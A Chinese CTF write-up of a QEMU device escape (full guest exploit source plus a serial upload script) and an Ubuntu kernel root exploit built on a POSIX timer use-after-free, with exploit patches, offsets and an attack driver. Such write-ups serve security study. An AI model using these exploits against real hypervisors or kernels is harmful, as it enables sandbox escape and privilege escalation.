Step 2:在同一页准备 fake object。 p+8 = "/bin/cat /tmp/flag_f",p+0x48 = system_plt;再把 audio 的 guest 源地址设为 pa、长度设为 0x50。

Step 3:prep,让 0x58 的复用确定发生。 触发 RX 之前先写 WD+0x28(free 当前 timer 对象),再写 WD+0x24(ensure):ensure 会 create 一个新 timer 对象,从 0x60 tcache 里取走一块,人为把 tcache 腾出一个空位。这样 RX 里 free 掉的对象才会落进 tcache 而不是 fastbin,紧接着的 g_malloc0(0x58) 才能确定性复用同一块。没有这一步时,free 会因 tcache 已满而进 fastbin,audio 拿到的是另一块,回调仍然是旧的 puts,只会打印 "timer fired"。

Step 4:构造 RX 描述符并触发。 描述符结构为:

struct desc { u64 a0; u32 l0; u32 r0; u64 a1; u32 l1; u32 r1; u64 st; };

取 a0 = WD+0x28、长度 4(free timer),a1 = AUD+0x00、长度 4(g_malloc0 复用),st = AUD+0x14(write_data,这次写固定值 1)。把描述符放在 pa+0x100,写 NIC 的 rx_desc(0x10/0x14),再写 rx_ctrl bit0(0x1c)触发。RX 内部依次执行:free timer 对象 -> audio 复用该 chunk -> write_data 写入 fake object -> 回调 [obj+0x48] = system,rdi = obj+8 = "/bin/cat /tmp/flag_f"。system 在宿主侧执行,输出(flag)直接落到 QEMU 的 stdout,也就是我们的串口。

Step 5:上传、运行、清理。 客户机没有 /tmp,文件只能放 /;串口上传用 busybox 自带的 uudecode + gzip -dc,base64 每行 76 字符、每行间隔 25ms,避免串口丢字符。跑完发 poweroff -f,让 QEMU 立刻退出(题目 README 明确要求,否则 QEMU 会空跑到 600s 超时)。

5. 踩坑记录(按遇到顺序)

  • 8 字节 MMIO 访问会被静默拒绝。 设备的 MemoryRegionOps 里 valid.max_access_size = 4,QEMU 的 memory_region_access_valid 会直接拒绝 size > 4 的访问:读返回 0xff,写被丢弃且不报错。最初用 64 位访问写 tx_desc 和 msg 地址,读回一直是 0、DMA 读回 0xff,一度怀疑 BAR 没映射成功;改成两次 32 位写之后一切正常。

  • DMA 前必须先开 bus master。 不写 PCI COMMAND 的 bit2(BUS MASTER),pci_dma_read/write 走的是未启用的地址空间,读回 0xff。exp 里对 00:03~00:05 的 config 偏移 4 写 0x0007(IO|MEM|BUSMASTER)后才通。

  • /dev/mem 写不了 System RAM。 Ubuntu 内核 CONFIG_STRICT_DEVMEM=y,/dev/mem 只允许非 RAM 区域:System RAM(如 0x1000000)直接 EPERM,而 0x9fc00(EBDA,Reserved)可读可写,于是纯 shell 版拿它当 scratch。

  • busybox devmem 对 >= 0x80000000 的地址会失败。 VGA BAR 0xfd000000 用 devmem 报 EOVERFLOW / Value too large,而 ctf 设备的 BAR(0xfebd5xxx)和 0x9fc00 都正常,所以 shell 版里要避开 VGA。

  • logger 的 DMA 方向(最费时的一个坑)。 DMA helper 有两个 thunk,只差一个立即数(读 r8d=0、写 r8d=1),从反汇编能看出 logger 用的是写方向,也就是把宿主栈 buf+off 拷回 guest。方向看反导致把“越界读泄漏”误当成“越界写”,绕了很大一圈。教训:DMA 的 (addr, buf, len) 参数顺序和读写方向必须逐字节确认,不能靠函数名猜。

  • 0x60 tcache 的状态会让复用失败。 free 时 tcache 满则进 fastbin;随后 g_malloc0 从 tcache 拿另一块,回调仍是旧 puts。加 prep(free + ensure 腾一个 tcache 位)后本地 3/3、远程一次命中。

  • 串口上传会丢字符。 一次把 heredoc 和全部 base64 全速发过去,guest 只收到半截(回显里能看到行被截断),uudecode 失败。改成每行 76 字符、25ms 间隔,并等提示符再发下一条。

  • 远程地址会变、容器可能没起来。 过程中换过几次地址:旧地址从 connected 变成 refused(被回收),新地址有时 TCP 秒连但几十分钟 0 字节、连接也不关。判断方法:refused = 端口没了;connected 但长时间 0 字节 = 后端 QEMU/xinetd 没起来,不是 exp 的问题;能收到 READY_FOR_ESC 才是可用实例。

  • 确认 ASLR 是否开启的方法。 一开始怀疑线上没开 ASLR,直接用 0x555555554000 基址打 system@plt 会立刻崩;把回调地址换成内核固定映射的 vsyscall 页(0xffffffffff600000,执行 gettimeofday 后 ret)却能正常返回、QEMU 继续存活。这说明 fake object 确实被装上、回调也真的调到了,只是地址不对——即 ASLR 开着,必须先泄漏。在看不到宿主 /proc/<pid>/maps 的情况下,这个“固定地址对照实验”非常好用。

  • 本地验证环境。 用附件里的 QEMU + 自制 initramfs(塞一个静态测试程序直接驱动 MMIO)+ 一个自己写的 TCP->QEMU 桥接,就能在本地把整条链反复跑通;最后又用原版 initramfs + 串口上传脚本完整跑了 3 次,3/3 成功,泄漏出的 PIE 与 /proc/<pid>/maps 完全一致,确认偏移无误。

  • 设备日志在 stderr,不在串口。 5 个设备的 [CTF] 日志都是 fprintf(stderr, ...),线上 stderr 被 run.sh 重定向到 /tmp/qemu_stderr.log(选手看不到);只有 watchdog 的 notify(puts)写 stdout,也就是串口。所以调试时不能指望在串口看到设备日志,只能用回调里的 puts 或者自己构造的可观测副作用。

6. 结果

远程(182.92.196.63:28704)一次命中,串口记录如下:

READY_FOR_ESC
/ # ... 上传并执行 /ez_qemu ...
[+] QEMU PIE: 0x000056446d600000
[+] system PLT: 0x000056446d8e2c90
[*] triggering NIC -> WD free -> AUDIO alloc/fill -> stale callback
flag{18ebb2f4-3abb-4771-880a-fde13535a118}
[+] RX finished
/ # poweroff -f
[  9.375519] reboot: Power down

该 flag 是 QEMU 进程以 ctf 身份执行 /bin/cat /tmp/flag_f 得到的,说明已经拿到宿主侧代码执行,逃逸成功。

7. 自研脚本与工具

静态分析:自研 Python 脚本,pyelftools 解析 ELF/重定位/TypeInfo,capstone 反汇编,跳表还原与 RIP 相对引用索引都是自己写的;外部依赖只有 pyelftools、capstone 两个公开库。客户机 exp:ez_qemu_exp.c,用 -Os -s -nostdlib -static -no-pie -ffreestanding -fno-builtin -fno-stack-protector -fno-asynchronous-unwind-tables 编译成完全静态、不依赖客户机 libc 的 ELF。上传/执行:solve.py,用题目 busybox 自带的 uudecode + gzip -dc。完整代码见下。

8. 完整代码

(1)客户机 exp 完整源码(ez_qemu_exp.c)

/* ez_qemu guest exploit (+ prep for reliable chunk reuse) */
#include <stdint.h>
#include <stddef.h>
#define AT_FDCWD (-100)
#define O_RDONLY 0
#define O_RDWR 2
#define O_SYNC 04010000
#define PROT_RW 3
#define MAP_SHARED 1
#define MAP_PRIVATE_ANON 0x22
static inline long sc(long n, long a, long b, long c, long d, long e, long f){
  register long r10 asm("r10")=d;
  register long r8 asm("r8")=e;
  register long r9 asm("r9")=f;
  long ret;
  asm volatile("syscall":"=a"(ret):"a"(n),"D"(a),"S"(b),"d"(c),"r"(r10),"r"(r8),"r"(r9):"rcx","r11","memory");
  return ret;
}
static long op(const char*s,int flag){return sc(257,AT_FDCWD,(long)s,flag,0,0,0);}
static long rd(int fd,void*p,unsigned long n){return sc(0,fd,(long)p,n,0,0,0);}
static long pread_(int fd,void*p,unsigned long n,unsigned long off){return sc(17,fd,(long)p,n,off,0,0);}
static long pwrite_(int fd,void*p,unsigned long n,unsigned long off){return sc(18,fd,(long)p,n,off,0,0);}
static void cl(int fd){sc(3,fd,0,0,0,0,0);}
static void print(const char*s){size_t n=0;while(s[n])n++;sc(1,1,(long)s,n,0,0,0);}
static void hex(uint64_t num){char b[19]="0x0000000000000000";static const char a[]="0123456789abcdef";for(int i=0;i<16;i++)b[i+2]=a[(num>>((15-i)*4))&15];sc(1,1,(long)b,18,0,0,0);}
static void cp(void *dst,const void *src,size_t n){uint8_t *d=dst;const uint8_t *s=src;for(size_t i=0;i<n;i++)d[i]=s[i];}
static uint64_t resource_pa(const char *path) {
  int fd=op(path,O_RDONLY); if(fd<0)return 0;
  char buf[132]; long n=rd(fd,buf,128);cl(fd);if(n<=0)return 0;
  uint64_t val=0; int i=(buf[0]=='0' && buf[1]=='x')?2:0;
  for(;i<n;i++){char c=buf[i];int t;
    if(c>='0'&&c<='9')t=c-'0';
    else if(c>='a'&&c<='f')t=c-'a'+10;
    else if(c>='A'&&c<='F')t=c-'A'+10;
    else break;
    val=(val<<4)|t;
  }
  return val;
}
static uint64_t guest_phys(void *ptr) {
  uint64_t entry=0;int fd=op("/proc/self/pagemap",O_RDONLY);
  if(fd<0)return 0;
  long ok=pread_(fd,&entry,8,((uintptr_t)ptr>>12)*8);cl(fd);
  if(ok!=8 || !(entry&(1ULL<<63)))return 0;
  return ((entry & ((1ULL<<55)-1))<<12) | ((uintptr_t)ptr&4095);
}
static volatile uint32_t *pci[4];
static uint64_t bar[4];
struct desc {uint64_t a0;uint32_t l0;uint32_t r0;uint64_t a1;uint32_t l1;uint32_t r1;uint64_t st;};
static int run(void){
  for(int i=0;i<4;i++){
    char path[]="/sys/bus/pci/devices/0000:00:03.0/resource";
    int z=0;while(path[z] && path[z]!='3')z++;path[z]='3'+i;
    bar[i]=resource_pa(path);if(!bar[i]){print("[!] cannot find PCI BAR\n");return 1;}
    char path0[]="/sys/bus/pci/devices/0000:00:03.0/resource0";
    z=0;while(path0[z] && path0[z]!='3')z++;path0[z]='3'+i;
    long fd=op(path0,O_RDWR|O_SYNC);if(fd<0){print("[!] open BAR failed\n");return 1;}
    long p=sc(9,0,4096,PROT_RW,MAP_SHARED,fd,0);cl(fd);
    if(p<0){print("[!] map BAR failed\n");return 1;}
    pci[i]=(volatile uint32_t*)p;
    char pathc[]="/sys/bus/pci/devices/0000:00:03.0/config";
    z=0;while(pathc[z] && pathc[z]!='3')z++;pathc[z]='3'+i;
    fd=op(pathc,O_RDWR);if(fd<0){print("[!] open PCI config failed\n");return 1;}
    uint16_t command=0;
    if(pread_(fd,&command,2,4)!=2){cl(fd);return 1;}
    command|=7;
    if(pwrite_(fd,&command,2,4)!=2){cl(fd);return 1;}
    cl(fd);
  }
  uint8_t *p=(void *)sc(9,0,4096,PROT_RW,MAP_PRIVATE_ANON,-1,0);
  if((long)p<0){print("[!] mmap RAM failed\n");return 1;}
  for(int i=0;i<4096;i++)p[i]=0;
  sc(149,(long)p,4096,0,0,0,0); /* mlock */
  uint64_t pa=guest_phys(p);if(!pa){print("[!] guest physical address unavailable\n");return 1;}
  /* logger: host stack OOB read */
  pci[3][0]=pa; pci[3][1]=pa>>32;
  pci[3][2]=0x1010;pci[3][3]=0x80;pci[3][4]=1;
  uint64_t ret=0;cp(&ret,p+8,8);
  if((ret&0xfff)!=0x2c7 || ret<0x1000000000ULL){
    print("[!] PIE leak failed, got ");hex(ret);print("\n");return 1;
  }
  uint64_t base=ret-0x4132c7ULL;
  uint64_t system_plt=base+0x2e2c90ULL;
  print("[+] QEMU PIE: ");hex(base);print("\n[+] system PLT: ");hex(system_plt);print("\n");
  /* build fake object page: timer+8 = command, timer+0x48 = system@plt */
  for(int i=0;i<4096;i++)p[i]=0;
  static const char command[]="/bin/cat /tmp/flag_f";
  cp(p+8,command,sizeof(command));
  cp(p+0x48,&system_plt,8);
  /* audio source/len */
  pci[2][2]=pa; pci[2][3]=pa>>32;pci[2][4]=0x50;
  /* RX descriptor: write#1 -> watchdog free, write#2 -> audio alloc, write#3 -> audio write_data */
  struct desc *d=(void *)(p+0x100);
  d->a0=bar[1]+0x28;d->l0=4;d->r0=0;
  d->a1=bar[2];d->l1=4;d->r1=0;
  d->st=bar[2]+0x14;
  uint64_t dp=pa+0x100;
  pci[0][4]=dp;pci[0][5]=dp>>32;
  /* prep: free current timer object, then ensure -> drains one 0x60 tcache entry
    so the RX's free lands in tcache and AUDIO alloc reuses the same chunk */
  pci[1][10]=1; /* WD +0x28 : free timer */
  pci[1][9]=1;  /* WD +0x24 : ensure  */
  print("[*] triggering NIC -> WD free -> AUDIO alloc/fill -> stale callback\n");
  pci[0][7]=1; /* NIC RX */
  print("[+] RX finished\n");
  return 0;
}
__attribute__((noreturn)) void _start(void){int res=run();sc(60,res,0,0,0,0,0);__builtin_unreachable();}

(2)串口上传/执行脚本完整源码(solve.py)

import base64
import gzip
import socket
import sys
import time
from pathlib import Path
​
DEFAULT_HOST = "182.92.196.63"
DEFAULT_PORT = 28704
​
def download_commands(binary: bytes) -> list[str]:
  packed = gzip.compress(binary, compresslevel=9, mtime=0)
  encoded = base64.b64encode(packed).decode("ascii")
  lines = ["begin-base64 644 /ez_qemu.gz"]
  lines.extend(encoded[i : i + 76] for i in range(0, len(encoded), 76))
  lines.append("====")
  print(f"[+] Payload: {len(binary)} bytes, gzip {len(packed)} bytes, "
     f"serial upload {sum(len(x) + 1 for x in lines)} bytes", flush=True)
  return lines
​
def run(host: str, port: int, binary_path: Path) -> None:
  data = binary_path.read_bytes()
  lines = download_commands(data)
  with socket.create_connection((host, port), timeout=25) as sock:
    sock.settimeout(0.30)
    def send(line: str) -> None:
      sock.sendall(line.encode("ascii") + b"\n")
    def drain_until(marker: bytes, timeout: float = 45.0, echo: bool = True) -> bytes:
      deadline = time.monotonic() + timeout
      collected = bytearray()
      while time.monotonic() < deadline:
        try:
          chunk = sock.recv(16384)
        except socket.timeout:
          continue
        if not chunk:
          raise EOFError("connection closed before expected marker")
        if echo:
          sys.stdout.buffer.write(chunk)
          sys.stdout.buffer.flush()
        collected += chunk
        if marker in collected:
          return bytes(collected)
        if len(collected) > 80000:
          del collected[:40000]
      raise TimeoutError(f"timed out waiting for {marker!r}")
    drain_until(b"/ # ", timeout=90)
    print("\n[+] Guest shell ready, uploading packed ELF...", flush=True)
    send("cat > /ez_qemu.uue <<'EZQEMU_END'")
    time.sleep(0.15)
    for line in lines:
      send(line)
      time.sleep(0.025)
    send("EZQEMU_END")
    drain_until(b"/ # ", timeout=30, echo=False)
    print("\n[+] Decoding ELF and executing exploit...", flush=True)
    send("uudecode -o /ez_qemu.gz /ez_qemu.uue && "
       "gzip -dc /ez_qemu.gz > /ez_qemu && "
       "chmod +x /ez_qemu && /ez_qemu")
    try:
      result = drain_until(b"[+] RX finished", timeout=50)
      if b"flag{" in result:
        print("\n[+] Host flag observed in output!", flush=True)
      else:
        print("\n[*] Check the console transcript for the host flag.", flush=True)
    finally:
      try:
        send("poweroff -f")
        drain_until(b"reboot: Power down", timeout=10)
      except (TimeoutError, EOFError, ConnectionError, OSError):
        pass
​
if __name__ == "__main__":
  host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
  port = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
  path = Path(sys.argv[3]) if len(sys.argv) > 3 else Path("/tmp/ez_qemu_exp")
  run(host, port, path)

9. flag

flag{18ebb2f4-3abb-4771-880a-fde13535a118}

考点补充

  • 核心考点:QEMU 自定义 PCI 设备的 MMIO 逆向后,用 logger 的 0x1000 - off 无符号下溢把宿主栈越界读回 guest 得到 PIE 泄漏;再用 nic RX 的三次 DMA 重入跨设备打到 watchdog/audio 的 MMIO,把 g_malloc0_n(1,0x58) 的 ctf_timer 对象 free 后由同尺寸的 audio buffer 复用,最终通过残留的 call [obj+0x48] 在宿主侧拿到 system("/bin/cat /tmp/flag_f")。

  • 关键技巧:先 mmap+mlock+读 /proc/self/pagemap 拿到 guest 物理地址当共享 scratch,并用 (ret & 0xfff) == 0x2c7 校验泄漏,base = ret - 0x4132c7、system_plt = base + 0x2e2c90;触发前用 WD+0x28 free 加 WD+0x24 ensure 腾出一个 0x60 tcache 位,保证 RX 内的 free 与 audio 的 alloc 落在同一 chunk;RX 描述符把三次 DMA 的目标依次设为 WD+0x28、AUD+0x00、AUD+0x14。

  • 常见坑:valid.max_access_size = 4 让 8 字节 MMIO 读写被静默丢弃(读回 0xff),必须拆成两次 32 位;不置 PCI COMMAND 的 BUS MASTER 位,DMA 全部读回 0xff;把 logger 的 DMA 方向看反,就会把“host->guest 越界读”误当成栈溢出;tcache 满时 free 落进 fastbin,音频 buffer 拿到别的 chunk,回调仍是 puts 只打印 "timer fired";串口全速灌 base64 会丢字符,需 76 字符一行、25ms 间隔。

  • 延伸:所有设备对象共用 QEMU 进程的 glibc 堆,“DMA 写别的设备 MMIO”因此等价于一个跨设备的堆操作原语,这类题的通用打法是先枚举设备回调里的裸函数指针(notify、[obj]),再找尺寸匹配的 free/alloc 组合;看不到宿主 /proc/<pid>/maps 时,用固定地址的 vsyscall 页 0xffffffffff600000 做对照实验即可判断 ASLR 是否开启、回调是否真的命中。

CanonicoPWN

1. 题目分析

从题名 "Canonico"(canonical / 规范化)和题目描述可以初步猜测与"规范化"主题相关,但实际探测后确认:服务连接的是 QEMU 虚拟机的串口控制台(ttyS0),登录用户为 ctf(uid 1000)。目标明确:在 guest 内核中拿到 root,读取 /dev/vda 中的 flag。

2. 无附件环境侦察

拿到 shell 后立即对系统做全面侦察,/init 脚本是关键信息源:

#!/bin/busybox sh
/bin/busybox --install -s /bin
mount -t proc proc /proc
mount -t devtmpfs devtmpfs /dev 2>/dev/null
mount -t tmpfs -o mode=1777,nosuid,nodev tmpfs /tmp
hostname challenge
stty -echoctl rows 24 cols 80
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 4 > /proc/sys/kernel/perf_event_paranoid
echo 2 > /proc/sys/kernel/io_uring_disabled
echo 0 > /proc/sys/kernel/unprivileged_userns_clone
chmod 0400 /flag
chown 0:0 /flag
chown 1000:1000 /home/ctf
setsid cttyhack su - ctf
poweroff -f

关键发现:

  • /flag 是指向 /dev/vda 的符号链接:flag 直接写在裸块设备上(br-------- root:root,默认 0400,只有 root 能读);

  • 内核命令行 console=ttyS0 quiet oops=panic panic=-1,panic_on_oops=1:任何内核 oops 都会导致整机重启,利用必须一次成功;

  • 无网络接口,只能通过串口控制台交互;

  • 加固配置封死所有常见提权面:userns、unprivileged BPF、io_uring、perf 全部关闭;无 setuid 文件、无可写系统目录。剩下的攻击面只有内核 syscall 本身。

内核版本:

Linux version 7.0.0-39-generic (hatch@hatch) (gcc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0, GNU ld (GNU Binutils for Ubuntu) 2.42) #1 SMP PREEMPT_DYNAMIC Thu Sep 24 08:42:15 UTC 2026

7.0.0-39-generic 是 Ubuntu 26.04 LTS(resolute)的内核 ABI;构建者是 hatch@hatch、构建号 #1(非官方 #39-Ubuntu),是出题人用官方源码包(Ubuntu-7.0.0-39.39 tag)在 Ubuntu 24.04 工具链下自行编译的。/proc/config.gz 可读(额外开了 CONFIG_IKCONFIG),与官方包 config 对比差异仅是构建环境(gcc 版本、Rust 关闭、=m 改 =y),内核源码是原版 Ubuntu 源码。

3. 漏洞定位:CVE-2026-98260

结合「内核版本精确为 7.0.0-39.39(2026-09-24 构建)+ 无自定义设备 + kallsyms 无新增符号」,判定这是一道公开 CVE 环境题。当时最新的公开 Ubuntu 26.04 内核本地提权是 CVE-2026-98260(公开 PoC 完整、无需 userns/BPF/io_uring),据此展开。

3.1 根因

exec() 由非线程组长(non-leader thread)调用时,de_thread() 交换调用线程与旧 leader 的 PID 关联并 release_task(旧 leader)。但 POSIX CPU timer 的清理 posix_cpu_timers_exit() 在 begin_new_exec() 中排在多处可能失败的操作之后:

retval = de_thread(me);        /* [1] TID 已交换 */
...
retval = unshare_files();
...
retval = set_mm_exe_file(...);
...
retval = exec_mmap(bprm->mm);  /* 可被 SIGKILL 打断 → 失败 */
...
#ifdef CONFIG_POSIX_TIMERS
    spin_lock_irq(&me->sighand->siglock);
    posix_cpu_timers_exit(me); /* [2] 正常路径的清理 */
    ...
#endif

一旦 exec_mmap() 等失败(任务已过 point of no return,只能终止),[2] 不执行。退出路径 posix_cpu_timer_del() 通过 pid_task() 查找任务,此时任务关联已消失 → 返回 NULL → 跳过 timerqueue_del,但 k_itimer 仍被 kfree_rcu() 释放。父进程回收僵尸时 __exit_signal() → cleanup_timerqueue() 会再次删除这个已释放的节点 → UAF / 内存破坏。

3.2 版本确认

修复补丁 acb03d388181(exec: Cleanup POSIX timers right after de_thread())首次出现在 Ubuntu 7.0.0-41.41;目标是 7.0.0-39.39,未修复。对官方 -39 vmlinux 反汇编确认 posix_cpu_timers_exit 仍在 exec_mmap 之后,且 posix_cpu_timer_del() 走 timer_lock_sighand()(CVE-2026-64560 修复已合入),查找失败时跳过 timerqueue_del——UAF 成立。

3.3 BTF 偏移核对

与公开 PoC 硬编码偏移完全一致:

结构 / 字段

偏移

sizeof(struct k_itimer)

0x180

k_itimer.it.cpu

0xe0

cpu_timer.node

+0x00(对象 0xe0)

cpu_timer.head

+0x20(0x100)

cpu_timer.elist

+0x30(0x110)

cpu_timer.handling

+0x48(0x128)

task_struct.posix_cputimers

0xc68

CPUCLOCK_SCHED tqhead

0xca0

task_struct.cred

0xd00

4. 利用过程

使用 V4bel/InfinityCore 仓库 timer 分支的 CVE-2026-98260-ubuntu.c(在 Ubuntu 26.04 7.0.0-30 测试通过)作为基础,核心链路分四步:

第 1 步:制造 UAF。 非 leader 线程用 CLOCK_THREAD_CPUTIME_ID 创建远期 POSIX CPU timer(1 小时后到期)并 execve("/proc/self/exe");同一 mm 下 50000 个单页 VMA + 3 个 CLONE_VM helper 反复 mprotect 争用 mmap_lock;killer 轮询 tgkill(tgid, tid, 0),返回 ESRCH(de_thread() 已完成 TID 交换)即 SIGKILL;exec_mmap() 的 mmap_read_lock_killable 被打断 → exec 在 point of no return 后失败 → timer 节点遗留在存活任务的 timerqueue 中。

第 2 步:转移 stale node + 页回收。 父进程 waitid(WNOWAIT) 观察僵尸但不回收;创建/删除定时器填充 RCU sheaf(279 个 filler + 392 个 oracle worker 候选 timer);回收僵尸时 cleanup_timerqueue() 删除节点并置 ctmr->head = NULL,节点残留在某个 worker 的 timerqueue;释放候选/填充对象清空 slab,PCP 预热 8192 页,再用 64000 匿名页 + 64000 AIO ring 页回收该物理页。

第 3 步:worker oracle 与地址泄露。 worker 消耗 CPU 时间触发 collect_posix_cputimers(),内核在伪造页写入 ctmr->handling = current(object+0x128),并在伪造 it_lock 上自旋(可控停顿点);用户扫描页内的内核指针 → 拿到 worker 的 task_struct 地址;释放锁后内核 list_del_init(&ctmr->elist) 把 elist.next/prev 写成 direct map 地址 → kernel_object = elist - 0x110。

第 4 步:伪造 RB 删除覆盖 cred + setuid 落地。 在页内构造 A/C/M 三个伪造节点(A.left = &task->cred,A.parent = C 等),第二次 collect_timerqueue() 处理 A 时 rb_erase 执行 tmp->__rb_parent_color = pc → task->cred = fake_cred;同一轮处理 M 时把 C+8 写 0,即伪造 cred 的 uid/gid 清零。worker 用伪造 cred(fsuid 0)创建 root 所有文件并 chmod 4755,预先 fork 的 launcher(合法 cred)execve 该 setuid 文件 → euid 0。

5. 本环境的关键适配

5.1 LA57(5 级页表)

guest CPU 暴露 la57,内核 CONFIG_X86_5LEVEL=y 且 cmdline 无 no5lvl,direct map 位于 ff11... 而非 ffff...。PoC 原判定 (value >> 48) == 0xffff 在 5 级页表下会拒绝所有真实内核指针,导致地址泄露扫描永远失败。修改为通用判定(见代码 1)。

5.2 暂存目录与权限

原 PoC 在 /var/tmp、/dev/shm、/tmp 中选择非 nosuid 可写目录。本环境 /tmp 是 nosuid(setuid 会失效),/var/tmp、/dev/shm 不存在;唯一非 nosuid 可写位置是 rootfs 上的 /home/ctf(初始 755 ctf:ctf)。且 cap_capable() 语义决定了伪造 cred 的能力不能作用于 init userns 拥有的资源——运行前必须由本人先 chmod 777 /home/ctf。因此暂存目录候选列表加入 /home/ctf 并置于首位。

5.3 加速 128k 页喷射

原 PoC 对每个 AIO ring 调用 mremap(..., MAP_FIXED, arena),64000 次在目标机上耗时超 5 分钟(远超平台 VM 生命周期)。改为直接使用 io_setup 返回的 ring 地址(内核以 MAP_SHARED 映射,direct map 与用户映射共享同一物理页),喷射时间降到约 25 秒(见代码 1)。

5.4 静态 musl 构建

guest 只有 busybox,没有 libc/编译器。用 musl.cc 交叉工具链静态编译(-O2 -static -pthread),strip 后 72KB,gzip 后 41KB,通过控制台上传。

5.5 串口控制台传输协议

平台控制台有两个致命特性:突发写入会丢字节;busybox ash 行编辑器对超长单行有约 1024 字节的折行异常,会卡在 PS2 续行。最终协议:(1) 每会话先执行 stty -echo cols 4000 + chmod 777 /home/ctf 并用标记同步;(2) 数据按 76 字符短行组织,每 26 行(约 2KB)一个 here-doc 块写入;(3) 每块后 md5sum 校验回显,与控制端预计算 MD5 比对,失败则恢复 shell(闭合引号 + Ctrl-C + 换行)重传该块;(4) 全部完成后拼接 → base64 -d → gzip -dc → 终验 md5。

5.6 平台生命周期与自动化

每台 VM 被平台在约 5–8 分钟后终止(panic_on_oops=1 下任何 oops 也致命);每个地址单实例、过期作废(需平台刷新分配新地址)。因此实现了一体化攻击驱动 attack.py:自动重连 → 等待 shell 可用 → 上传(逐块 MD5 校验 + 失败恢复)→ 运行 exploit → 实时解析 FLAGMATCH / root shell 输出 → 抓到 flag 自动存档,失败自动重试。

6. 最终结果

攻击在 attempt 0 一次成功,exploit 从运行到提权仅约 35 秒。控制台输出:

POC:attempt 0
POC:s1_start
POC:s1_object
POC:s1_winner
POC:s1_stack_ok
POC:s1_stage2_ready
POC:s1_done
POC:s1_ok
POC:attempt_result=0 errno=11
=== ROOT euid=0 ===
VDASIZE=512 READ=512
FLAGMATCH: flag{2947d00e-16f8-43b4-b821-be010aeb53f2}
=== exec /bin/sh as root ===
BusyBox v1.37.0 (Ubuntu 1:1.37.0-7ubuntu1) built-in shell (ash)
/home/ctf # id
uid=0(root) gid=0(root) groups=1000(ctf)

flag 以原始内容形式写在 /dev/vda 起始位置,root 后直接读取块设备即可获得。

exp

本题目使用的代码分两部分:一是 exploit 的源码补丁(在公开 PoC 基础上完成本环境适配),二是攻击驱动 attack.py(负责串口上传与攻击全流程自动化)。

代码 1:exploit 源码补丁(基于 CVE-2026-98260 公开 PoC)

LA57 指针判定修复:

static int is_kernel_pointer(uint64_t value)
{
    /* 5-level page tables (LA57): direct map is at ff11... not ffff...
     * Use the generic check that works for both 4-level and 5-level. */
    return (value >> 56) == 0xff && !(value & 7);
}

暂存目录候选(本环境唯一非 nosuid 可写点):

static int pick_staging_dir(char *out, size_t len)
{
    /* Challenge env: only /home/ctf is writable + non-nosuid (rootfs).
     * It must be chmod'ed 777 by the ctf user before running. */
    static const char *const candidates[] = { "/home/ctf", "/var/tmp",
                                              "/dev/shm", "/tmp" };
    ...
}

AIO 页喷射优化(免 mremap,5min → 25s):

static int allocate_aio_spray(struct aio_spray *spray)
{
    ...
    /* Optimization: use the io_setup ring address directly instead of
     * mremap(MAP_FIXED) into an arena. The kernel maps the AIO ring
     * MAP_SHARED, so the direct map shares the same physical page. */
    for (unsigned int i = 0; i < max_contexts; i++) {
        aio_context_t context = 0;
        unsigned char *ring;

        if (syscall(SYS_io_setup, 1, &context))
            break;
        ring = (unsigned char *)(uintptr_t)context;
        spray->contexts[spray->contexts_count++] = context;
        prepare_aio_page(ring);
        spray->pages[spray->count++] = ring;
    }
    return spray->count >= 1024 ? 0 : -1;
}

root 落地 payload(读 /dev/vda 直接抓 flag):

static void scan_for_flag(const char *buf, size_t len)
{
    size_t i;
​
    for (i = 0; i + 5 <= len; i++) {
        size_t j;
​
        if (memcmp(buf + i, "flag{", 5))
            continue;
        for (j = i; j < len && buf[j] != '}' && j - i < 256; j++)
            ;
        if (j < len && buf[j] == '}') {
            char tmp[320];
            size_t fl = j - i + 1;
​
            if (fl >= sizeof(tmp))
                fl = sizeof(tmp) - 1;
            memcpy(tmp, buf + i, fl);
            tmp[fl] = '\0';
            printf("FLAGMATCH: %s\n", tmp);
            fflush(stdout);
            i = j;
        }
    }
}
​
static void payload_read_vda(void)
{
    unsigned char buf[1048576];
    unsigned long scanned = 0;
    int vda = open("/dev/vda", O_RDONLY | O_CLOEXEC);
    ssize_t r;
​
    if (vda < 0) {
        printf("VDAOPENFAIL errno=%d\n", errno);
        fflush(stdout);
        return;
    }
​
    r = read(vda, buf, 512);
    printf("VDASIZE=512 READ=%zd\n", r);
    if (r > 0) {
        ssize_t i;
​
        printf("HEADHEX=");
        for (i = 0; i < (r < 64 ? r : 64); i++)
            printf("%02x", buf[i]);
        printf("\n");
        scan_for_flag((const char *)buf, (size_t)r);
    }
    if (lseek(vda, 0, SEEK_SET) < 0) {
        close(vda);
        return;
    }
    /* Backup: scan up to 256MB for flag{...} (raw block content). */
    while (scanned < (256UL << 20)) {
        r = read(vda, buf, sizeof(buf));
        if (r <= 0)
            break;
        scan_for_flag((const char *)buf, (size_t)r);
        scanned += (unsigned long)r;
    }
    close(vda);
}
​
/* main() 中 euid==0 且 uid!=0(setuid 落地成功)时的分支 */
if (!geteuid() && getuid()) {
    ...
    if (setresgid(0, 0, 0) || setresuid(0, 0, 0))
        _exit(126);
    printf("=== ROOT euid=%d ===\n", geteuid());
    fflush(stdout);
    payload_read_vda();
    printf("=== exec /bin/sh as root ===\n");
    fflush(stdout);
    run_root_shell();  /* execve("/bin/sh") */
}

编译命令:

x86_64-linux-musl-gcc -O2 -static -pthread -o exploit cve98260.c
x86_64-linux-musl-strip -s exploit   # 72KB
gzip -9 -c exploit > exploit.gz     # 41KB, md5 43e60d4400f8d37f17653bda27ad7f10
代码 2:全自动攻击驱动 attack.py(节选关键逻辑)
import socket, time, sys, base64, hashlib, os, re
​
LINE = 76       # 每行 76 字符(防 tty 折行异常)
LINES_PER_BLOCK = 26  # 每块 26 行 ≈ 2KB
​
def make_blocks():
    data = open(GZ_PATH, 'rb').read()
    b64 = base64.b64encode(data).decode()
    lines = [b64[i:i+LINE] for i in range(0, len(b64), LINE)]
    blocks = []
    for k in range(0, len(lines), LINES_PER_BLOCK):
        blocks.append('\n'.join(lines[k:k+LINES_PER_BLOCK]) + '\n')
    return blocks
​
def upload(sess):
    # SETUP:加宽终端 + 打开暂存目录权限
    sess.send(b"stty -echo cols 4000; chmod 777 /home/ctf; "
              b"m=POC; echo ${m}SETUP\n")
    if not sess.wait_for(rb'POC_SETUP', 15):
        return False
